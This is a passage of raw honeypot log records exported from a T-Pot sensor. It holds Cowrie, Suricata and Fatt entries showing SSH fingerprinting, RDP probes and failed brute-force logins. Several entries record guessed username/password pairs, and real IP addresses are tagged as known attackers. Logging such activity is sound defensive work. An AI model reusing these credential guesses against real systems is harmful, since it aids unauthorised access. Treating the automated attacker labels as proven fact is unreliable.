".......Yc..I..M..........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BR
37067	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:52.331339+03	2021-09-20 15:30:03.159406+03	{"_id": "ygYlA3wBvYTbRNuEEWa4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58172, "timestamp": "2021-09-20T12:18:52.331339", "@timestamp": "2021-09-20T12:18:52.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37068	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:39.052387+03	2021-09-20 15:30:03.160407+03	{"_id": "iQYkA3wBvYTbRNuE22ZG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60984, "timestamp": "2021-09-20T12:18:39.052387", "@timestamp": "2021-09-20T12:18:39.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37070	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:18:40.289224+03	2021-09-20 15:30:03.162408+03	{"_id": "kgYkA3wBvYTbRNuE4GbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9ac71a943a4b", "@version": "1", "duration": 2.833087682723999, "timestamp": "2021-09-20T12:18:40.289224Z", "@timestamp": "2021-09-20T12:18:40.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37071	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:18:41.807953+03	2021-09-20 15:30:03.165408+03	{"_id": "lAYkA3wBvYTbRNuE5Ga9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e3606b6d0259", "@version": "1", "timestamp": "2021-09-20T12:18:41.807953Z", "@timestamp": "2021-09-20T12:18:41.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
37072	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:18:41.80752+03	2021-09-20 15:30:03.166407+03	{"_id": "mAYkA3wBvYTbRNuE5WbF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 928260479384233, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43586, "dest_port": 22, "timestamp": "2021-09-20T12:18:41.807520Z", "@timestamp": "2021-09-20T12:18:41.807Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
37073	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:18:41.807579+03	2021-09-20 15:30:03.168408+03	{"_id": "nQYkA3wBvYTbRNuE52YA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43586, "dest_port": 22, "timestamp": "2021-09-20T12:18:41.807579", "@timestamp": "2021-09-20T12:18:41.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
37074	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:18:42.08047+03	2021-09-20 15:30:03.170409+03	{"_id": "oAYkA3wBvYTbRNuE6Gam", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.failed", "message": "login attempt [ke/ke] failed", "session": "e3606b6d0259", "@version": "1", "password": "ke", "username": "ke", "timestamp": "2021-09-20T12:18:42.080470Z", "@timestamp": "2021-09-20T12:18:42.080Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
37075	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:18:33.049486+03	2021-09-20 15:30:03.17141+03	{"_id": "XAYkA3wBvYTbRNuExWZ3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [deploy/depl0y] failed", "session": "20edfaad0f5c", "@version": "1", "password": "depl0y", "username": "deploy", "timestamp": "2021-09-20T12:18:33.049486Z", "@timestamp": "2021-09-20T12:18:33.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37076	176.122.188.154	109.199.241.180	Suricata	2021-09-20 15:18:33.606565+03	2021-09-20 15:30:03.173408+03	{"_id": "YQYkA3wBvYTbRNuExmZ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 377628491586424, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42806, "dest_port": 22, "timestamp": "2021-09-20T12:18:33.606565Z", "@timestamp": "2021-09-20T12:18:33.606Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
37077	176.122.188.154	109.199.241.180	Fatt	2021-09-20 15:18:33.606858+03	2021-09-20 15:30:03.174409+03	{"_id": "ZAYkA3wBvYTbRNuEx2Z0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42806, "dest_port": 22, "timestamp": "2021-09-20T12:18:33.606858", "@timestamp": "2021-09-20T12:18:33.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
37078	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:18:34.389503+03	2021-09-20 15:30:03.175408+03	{"_id": "ZgYkA3wBvYTbRNuEyWZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [root/cccccc] failed", "session": "0eb3514424b5", "@version": "1", "password": "cccccc", "username": "root", "timestamp": "2021-09-20T12:18:34.389503Z", "@timestamp": "2021-09-20T12:18:34.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
37079	157.240.234.63	109.199.241.180	Suricata	2021-09-20 15:18:34.612525+03	2021-09-20 15:30:03.176408+03	{"_id": "aQYkA3wBvYTbRNuEymZo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:34.612525+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 127285585402029, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52760, "timestamp": "2021-09-20T12:18:34.612525Z", "@timestamp": "2021-09-20T12:18:34.612Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
37080	157.240.234.63	109.199.241.180	Suricata	2021-09-20 15:18:34.694641+03	2021-09-20 15:30:03.178408+03	{"_id": "aAYkA3wBvYTbRNuEymZo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:34.612525+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 127285585402029, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52760, "timestamp": "2021-09-20T12:18:34.694641Z", "@timestamp": "2021-09-20T12:18:34.694Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
37081	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:18:35.562062+03	2021-09-20 15:30:03.179409+03	{"_id": "agYkA3wBvYTbRNuEzWZJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0eb3514424b5", "@version": "1", "duration": 2.1230521202087402, "timestamp": "2021-09-20T12:18:35.562062Z", "@timestamp": "2021-09-20T12:18:35.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
37082	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:18:36.37438+03	2021-09-20 15:30:03.180408+03	{"_id": "dQYkA3wBvYTbRNuE0mY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.301417+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 329578545191273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31025, "dest_port": 3389, "timestamp": "2021-09-20T12:18:36.374380Z", "@timestamp": "2021-09-20T12:18:36.374Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
37083	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:18:36.472296+03	2021-09-20 15:30:03.181409+03	{"_id": "dgYkA3wBvYTbRNuE0mY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.301417+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": 